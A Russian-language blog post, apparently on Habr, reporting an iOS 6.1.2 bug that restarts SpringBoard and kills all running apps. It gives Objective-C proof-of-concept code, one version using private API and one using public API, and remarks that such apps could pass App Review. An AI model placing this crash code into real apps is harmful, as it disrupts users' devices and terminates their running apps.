Как стать автором
Обновить

Программка из десятка строчек обрушает Springboard

Время на прочтение2 мин
Количество просмотров32K
Вот вчера случайно наткнулся на такую уязвимость iOS. Проверено на iPhone 4, 4S и 5 с iOS 6.1.2.

Чтобы воспроизвести баг, который приводит к перезапуску SpringBoard'a (что в свою очередь приводит к прекращению работы всех запущенных пользователем приложений), нужно сделать всего две вещи:
  1. Скрыть все окна (т.е. объекты UIWindow) в приложении.
  2. Выйти из приложения


Вот пример простейшей программы, вызывающей перезапуск SpringBoard. Пункты 1 и 2 реализуются через недокументированные вызовы.

// Декларирую два недокументированных вызова в виде категорий, чтобы избавится от warning'ов
// Можно и без них, но Xcode будет ругаться

@interface UIWindow (Undocumented)
+ (NSArray*) allWindowsIncludingInternalWindows: (BOOL)internalWindows onlyVisibleWindows:(BOOL)visibleWindows;
@end

@interface UIApplication (Undocumented)
- (void) suspend;
@end

// Вот собственно суть уязвимости
void RESPRING()
{

	NSArray *allWindows = [UIWindow allWindowsIncludingInternalWindows:YES
													onlyVisibleWindows:NO];
	
	for (UIWindow *window in allWindows) {
		window.hidden = YES;
	}
	
	[[UIApplication sharedApplication] performSelector:@selector(suspend)
											withObject:nil
											afterDelay:0];
}


Более того, мне удалось воспроизвести этот баг и без использования недокументированных вызовов.

Обратите внмание на особенности:
  • Не требует Jailbreak'а
  • Для воспроизведения не требует нестандартных библиотек, фреймворков
  • Можно вызвать, не пользуясь недокументированными вызовами


Это означает что высока вероятность, что приложения, вызывающие перезагрузку SpringBoard (в том числе и аварийное завершение всех других приложений) могут без особых проблем пройти App Review и попасть в AppStore.

UPD То же самое без приватных API:

@interface UIView (Extension)
- (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event;
@end

@implementation UIView (Extension)
- (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event
{
	self.window.hidden = YES;
}

@end

1. Тапаем по статус бару
2. Тапаем по основному окну
3. Жмем home

UPD2 Исправил заголовок статьи, так как, строго говоря, падает только Springboard, a не вся iOS.
Теги:
Хабы:
Всего голосов 78: ↑58 и ↓20+38
Комментарии46

Публикации

Истории

Работа

Ближайшие события

19 августа – 20 октября
RuCode.Финал. Чемпионат по алгоритмическому программированию и ИИ
МоскваНижний НовгородЕкатеринбургСтавропольНовосибрискКалининградПермьВладивостокЧитаКраснорскТомскИжевскПетрозаводскКазаньКурскТюменьВолгоградУфаМурманскБишкекСочиУльяновскСаратовИркутскДолгопрудныйОнлайн
24 – 25 октября
One Day Offer для AQA Engineer и Developers
Онлайн
25 октября
Конференция по росту продуктов EGC’24
МоскваОнлайн
26 октября
ProIT Network Fest
Санкт-Петербург
7 – 8 ноября
Конференция byteoilgas_conf 2024
МоскваОнлайн
7 – 8 ноября
Конференция «Матемаркетинг»
МоскваОнлайн
15 – 16 ноября
IT-конференция Merge Skolkovo
Москва
25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань